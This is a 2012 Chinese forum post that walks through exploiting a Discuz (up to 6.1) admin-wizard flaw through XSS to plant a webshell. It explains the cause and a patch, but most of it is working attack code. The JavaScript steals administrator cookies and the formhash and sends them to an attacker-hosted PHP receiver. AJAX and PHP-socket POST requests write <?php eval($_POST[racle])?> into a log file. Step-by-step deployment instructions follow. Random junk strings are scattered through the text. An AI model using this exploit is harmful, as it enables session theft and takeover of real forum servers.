找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3707|回复: 0
打印 上一主题 下一主题

Discuz XSS得webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:11:49 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
Discuz XSS得webshell
8 Z/ B% \, V7 F' GBy racle @tian6.com8 D" z3 ^) z! q1 t) w3 k
欢迎转帖.但请保留版权信息.
4 \5 ^( Z/ @# h3 }6 X+ e) I受影响版本iscuz<=6.1.0,gbk+utf+big5
0 c7 `" z1 j1 ]- B
7 E  P: s$ ]3 v+ R6 |3 J* _新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
* R, Q; W5 ]6 I# n1 H* Y( w; J; k; \+ R% ~" z) ^* V0 G
! b4 i5 ?1 o8 F
3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706
6 e; O. F1 T; a4 Y% {当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.$ V6 F2 a+ G4 l9 ]

- o# n5 S" Z& l0 B分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..9 q% q! m  D; s
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS
; J" Q+ O' q8 k7 h' ^
; S- a3 @1 k" H, s
7 ?  K+ v4 {- S8 s0 l9 {----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------0 L$ E4 |, a" ]/ C- V* ?" m

1 T" `1 i" ^. z) v5 H+ n* h4 M! Z5 {. W, ?, E$ X
problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
, {) v$ w: U( A% d' |, e8 W2 E. x3 z7 V/ O/ L
problem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
/ _) R' l. W7 J) `2 H0 C1 t7 U7 A% G) h
problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的./ K" O: X- t6 B8 i+ h. e
9 Y) E0 ~/ a% W2 O$ u
8 Y7 c1 a% O0 o! c3 @: ]
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {% q, ~8 T, ^" A0 M! \9 Y
4 l4 k3 \0 {7 ^2 W
        global $runwizardfile, $runwizardhistory;4 e8 ]0 \+ n  d& E/ m- f

* l% V. Z4 Q8 V/ k/ d& @9 a        $fp = fopen($runwizardfile, 'w');* f$ U$ C, ^$ O6 {" i
1 }! S! ?% @# G  p( u8 h$ i" ^
        fwrite($fp, serialize($runwizardhistory));
+ t! Q, Y/ z; u( a, t. Q* `  l2 U( j7 P" w3 A; `+ R7 ?
        fclose($fp);
7 H, w8 s/ ^+ I9 g' j+ i/ w
& s4 J, I* Q; p) ~$ e( r}
4 j+ W$ ^5 ^: `+ r复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.$ O3 a' _3 t* @; b1 F. X  X
以下是修补的办法:function saverunwizardhistory() {
  [4 @. ^( ]" O1 I& b
) x# h# L* v9 `5 T        global $runwizardfile, $runwizardhistory;
+ L3 h5 F) S+ t6 c, `8 @7 E0 w3 D6 C! b1 P+ H
        $fp = fopen($runwizardfile, 'w');  S4 C( [0 N0 K- C- n
+ b" s) b, Z0 j+ y5 v' _8 A3 a
        $s = '<?php exit;?>';/ {, t1 A0 X7 c: s. t. |. Q

$ H7 H+ j  {9 l0 h8 N# `        $s .= serialize($runwizardhistory);
+ {: y3 R4 |$ _8 `7 _( e: X/ B" f
        fwrite($fp, $s);( W3 s" }6 z5 W
! y; f$ l3 D" W6 w3 T
        fclose($fp);
5 h0 U/ b9 C( z) c2 l7 F% f- e' M) I
}( V: _. m, T! a; u3 m8 m$ E& v8 U, O
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.
4 m. s% f1 ~1 x% v5 V2 }3 u0 h+ I
3 [+ I' d8 E& U$ w- C/ d6 ]- R  N# D" M+ b* X
7 X: W9 m* G3 x+ B, F
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------; V" v0 E1 a, Q! U" P/ j
& R$ J, r5 E# k3 g

& `4 H3 o% ?. C/ {# f& _7 \6 k# v  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.
% g, x6 @0 ]* q" ]2 L3 X4 L" W5 e/ M" ?% A: U, F0 @( J- e/ p
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.; x/ _# U2 {" ?2 M; M
2 O, S; s1 j% I% C. F
这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.
3 `* E0 D+ T- m2 P  e! }/ q) ]8 X4 v) c4 ?- D- C5 t- c+ T  V2 C
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:
( ]7 [) r! l. f: u' s& u1 _, P! y, P8 I
var url="http://目标网站/admincp.php";        E' A. V+ q6 v0 c% t- m9 M6 P

9 \4 a* ^; k( f. K4 [' C2 W9 ~/*获得cookies*/
# A, g, v: C8 S' N" S! y3 f: o5 K# r) ~4 P
function getURL(s) {+ j  u% U/ U) X2 t# m# u. k4 Z

+ v. S3 q$ z- K0 O- Dvar image = new Image();! G. x! t9 G. m, ?! h) _5 v

8 S7 h, M5 `' `0 B% T% Gimage.style.width = 0;! [; i2 A6 N* }0 D: `- }2 S! j

" q9 w7 t, K8 D$ c7 [image.style.height = 0;' Q0 A: e& l) K

+ V) u  i  C+ f: Z3 ~5 ~image.src = s;
- _  O0 O1 r2 r7 H  w* I
# z7 {6 }8 C- M  j, T}* ~5 f5 W& U, y) s4 j- j

" b( T( _5 K8 l& E1 u7 T: w: egetURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php
% D+ s+ l! s5 t复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
3 F; R8 Q4 P: d/ e3 V1 F3 a- s$ f复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵)
3 @4 B  ^$ K% S& c$ S5 ^, x* f8 b9 }. _+ O. l) \) {
- a0 G9 G  o4 c) b7 g% u
获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";
/ q4 L, b7 V' ~3 U5 ]( Z/ G8 I) A- R, H
' m( N; y, m, M9 f) B7 T
& d: Z9 ^, `- }8 m0 g1 k
/*hash*/
* c9 d- b& K9 y1 f" P# A4 q: O0 v6 F7 o- ~7 n3 ?
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");8 |- H4 t; d8 j6 {1 W/ {

8 z9 F4 ~& }; @xmlHttpReq.open("GET", url+"admincp.php?action=home", false);
. q3 x  |4 ^! g! k5 `2 a1 m5 Y6 g2 D$ F5 x
xmlHttpReq.send();* d2 F: r* Y, I8 t7 w6 o2 i( f' L
4 k( u/ ]8 `& o0 ~4 y# `7 C
var resource = xmlHttpReq.responseText;: x( G9 u! W% }0 D; E
! ^/ _9 s% ?, H! f, V
var numero = resource.search(/formhash/);8 O  a& ]9 h  X2 [$ l% n2 F) L

+ g% A/ r  a6 E3 k( _var formhash=encodeURIComponent(resource.substr(numero+17,8));
1 G) F$ F  ?% D6 k' y8 L4 O
7 ]# _' j  v& P$ n" C2 `
# Q& G. P8 v& R; H3 r! P1 q  b; K1 \" M6 K8 k) u
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
9 n5 y2 K1 K3 G" d3 t8 a" o/ Q9 L5 e6 j& h' p8 L+ z3 ]* q
xmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信
0 A, l0 I7 ^# a, G) [& ~% Z2 }+ R6 h% y; [- g% J9 U
xmlHttpReq.setRequestHeader("Referer", url);
, C! Z* q7 i$ ]2 E! o! |" v5 t
& k+ S! o2 M# `* j* dxmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");$ F4 W7 v5 V- U: S( o4 a# S9 z  s5 J

! D0 f" I1 P2 V; r( C; ^- j0 V' e1 |xmlHttpReq.setrequestheader("content-length",post.length);
7 ?3 p4 e: L0 e& R1 M
( v* q0 T6 V; J% B: E3 H5 S8 d$ ?xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded"); 4 v% i3 j  A" K6 c

7 z8 u% z7 B# g/ l3 m8 Y6 HxmlHttpReq.send(post);//发送数据* y7 G9 M: `6 c1 q& s$ P3 s; J
复制代码这里HASH我假设正确,这样提交,也无须cookies2 a3 g) z7 @5 b
9 {. ^8 S: m9 t
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);
' g5 ?2 ?& Y( T( n0 T, C3 Y+ I. g. V8 L. R
if (!$sock) die("$errstr ($errno)\n");
! R1 R- g  X* P" H, C
$ t$ |. u! u, k* Y$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';
) g: {( y8 |* q# ]' Q2 O: ?5 Q$ y- h( G

7 W* z8 m/ L& F
8 x9 {9 H  f3 c. T3 Afwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");
7 \; _  O4 {; p( u8 u& |, t1 {) w
7 ]; y0 B' y: @2 O' t6 Sfwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");' d8 B) D, K) D  D

( t! c* P" a! Q- rfwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
+ F8 K' e; }( q! T6 N! Q, ^) B& L/ {" y
fwrite($sock, "Accept-Language: zh-cn\r\n");3 r) G" ]3 T) w2 E, M; k) v$ s

6 @4 R3 U& T( Hfwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
/ E$ M, c0 f7 C3 N* `
) h1 c+ ?& K' o8 Y9 Nfwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
9 E% S% W& [; d1 \# t; w3 i. A2 V; ~& s  ^. n: ]8 m2 t
fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
# H+ M9 P  z! V( r; k2 b1 Q! `) g! J  b& U2 V' n$ N. r  F( N2 o8 ]* F, k
fwrite($sock, "Host: $url\r\n");' F  K; _9 n3 z, Q8 R3 d
1 @) S; s  c8 I) N# {/ N4 z
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");
1 Z6 `) }+ N: H$ J) h' z: y) ~' q; I0 B- f  e( [+ Z
fwrite($sock, "Connection: Keep-Alive\r\n");5 z7 k% w  X. @3 m7 c

! D9 ?, C9 r- V0 r/ C0 }fwrite($sock, "Cache-Control: no-cache\r\n");
* O2 E1 t& `, J- ]' q% F: _
# d3 ^5 c$ y3 b6 W' afwrite($sock, "Cookie:".$cookies."\r\n\r\n");; Q; {" c# j0 B6 T& t1 I! a

7 `( B" Q- W6 Y7 Cfwrite($sock, $data);
7 W6 f, ]( h  C/ b* f  y5 R- @* s
" [2 j& H+ S5 R! i2 x# _9 H! {. C3 t

) g* q0 l: [% h$ h+ C. r$headers = "";
5 e2 g" g! d" {1 j6 c! b- T. G, T0 h- Z/ q: r0 Y3 T# P
while ($str = trim(fgets($sock, 4096)))* g, z( \5 V. L& k2 Q
/ J* X0 N' J1 X" E- p  I9 h; k
     $headers .= "$str\n";% f# e* h6 ?/ I- |! P

3 \1 L+ |% c& S2 aecho "\n";
. d% Z$ w6 S1 v  n9 _6 ~% P( f4 c# c
$body = "";
" \! \! [) V& p9 N' v7 `" b4 J3 A0 G3 i6 w; o8 y
while (!feof($sock))' F2 Z8 J7 @' q; `- C
( I* o: G2 A3 W' K. i: j% O
     $body .= fgets($sock, 4096);, E/ g, B" R$ M0 e0 B  I/ a  G2 B
; Y& K0 z0 a0 K) K
fclose($sock);: u7 N5 |% t; {+ I0 N
! Z- t  G5 F# ~. T  _7 V- |
echo $body;3 j: p" {  \& X) p) x0 s6 s
复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^7 O, F/ t1 o; N% Z1 r

$ z1 ]$ X7 k9 a
2 ^: K/ e0 ]* {3 L-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------8 t& V, R3 Y7 Y, E9 r1 l
4 H' b& l% K% F. _" F$ g  O
5 A  @* v$ d% p& T/ b( g
1HP SOCKET利用方法首先打开racle.js1 \4 _1 k1 X6 h. S. a! Y
7 i8 Z( B8 }6 O' w& C. Q& s  }- }. b; s
var url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home
/ F9 ~  X' [) b: W7 O
/ C$ L4 a& b3 t" j' C! K9 T! s  ?8 e4 k: r5 ^3 [- i. L

; [+ u8 H- r) g7 t然后打开racle@tian6.php
2 d( Z; i- Q( y% c7 H3 I/ b( S7 y& i2 S
$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com
3 R) P9 M. V' G1 ]+ J4 Q' i
. B5 l0 h+ A5 a6 j6 }  f8 a0 w4 p) S2 k. h2 A. \7 n# I- T" z
& L6 j. Q, S3 `/ t- v/ Y4 a
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:  [; y- q1 Y# U

9 i; O# y$ S- f& _$ CgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));
5 r8 s9 A* a" u9 Y! L  Y
" n5 ]3 ?* l% D9 _8 [5 k
8 P4 X( s* X% S" p+ M
* ?2 j! H, Y0 C, N1 ?8 igetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));
3 ~/ E* ?0 [" F2 F: F复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
1 R- t% ^; F9 f3 {8 \$ J, S/ u3 Z# ~2 G. j' C% m6 Z5 r  P

5 s- x( Y  |5 l/ R
9 J9 p: o4 e0 E7 y, [如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
! {2 g2 }5 n: b! K4 b; ?) E: E* s% G: g
var formhash=encodeURIComponent(resource.substr(numero+17,8));4 P$ A7 j7 U9 d. M

. X1 q% {/ O$ }' {3 t' c
9 W7 d, ~9 ?5 F: S) c( @9 S4 ]* H6 e( C% ]
var formhash=encodeURIComponent(resource.substr(numero+9,8));6 u1 W4 f9 ]6 G1 Y  a" M: y4 E
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
; C! P% Z, ^2 H2 ?/ k2 `0 Z" K9 C" V; ]+ G! n' z1 i/ `- b
如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.0 Y5 S8 q4 a3 {, `+ I# p

6 o& C. n: f: N: z' U如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
: @; O$ t7 l; n) a& k5 a6 s9 Y  f
不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.5 r+ _8 g, v3 _0 Y% L: R
& q0 I1 z7 H6 c' |: H9 d$ g% v2 W
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表